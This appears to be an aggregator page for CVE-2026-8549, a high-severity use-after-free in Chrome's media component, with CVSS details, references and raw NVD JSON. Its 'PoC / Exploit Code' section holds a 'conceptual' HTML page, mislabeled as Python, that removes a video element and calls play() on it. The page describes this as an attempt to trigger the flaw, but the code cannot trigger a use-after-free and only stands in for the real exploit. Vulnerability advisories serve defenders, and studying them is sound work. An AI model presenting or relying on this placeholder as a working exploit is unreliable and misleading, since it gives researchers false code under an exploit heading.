CVE-2026-8549

Description

Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8549 (Conceptual)
This HTML code attempts to trigger a Use After Free in Chrome Media component.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8549 PoC</title>
</head>
<body>
    <script>
        // Create a media element (video/audio)
        var mediaElement = document.createElement('video');
        document.body.appendChild(mediaElement);
        
        // Set a source to initialize internal media objects
        mediaElement.src = "sample.mp4";
        
        // Function to simulate the UAF condition
        function triggerUAF() {
            // Step 1: Remove the element from DOM, potentially freeing internal objects
            document.body.removeChild(mediaElement);
            
            // Step 2: Force garbage collection or specific timing (simulated)
            // In a real exploit, precise heap grooming is done here.
            
            // Step 3: Attempt to access the freed object
            // This might trigger the crash or code execution
            try {
                mediaElement.play(); 
                console.log("Object accessed");
            } catch (e) {
                console.log("Exception caught: " + e);
            }
        }

        // Trigger the action after load
        window.onload = function() {
            setTimeout(triggerUAF, 1000);
        };
    </script>
    <p>CVE-2026-8549 PoC - Check console for results.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8549
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8549
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8549/
[4] VulDB https://vuldb.com/cve/CVE-2026-8549
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/497985088

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8549", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:15.807", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497985088", "source": "[email protected]"}]}}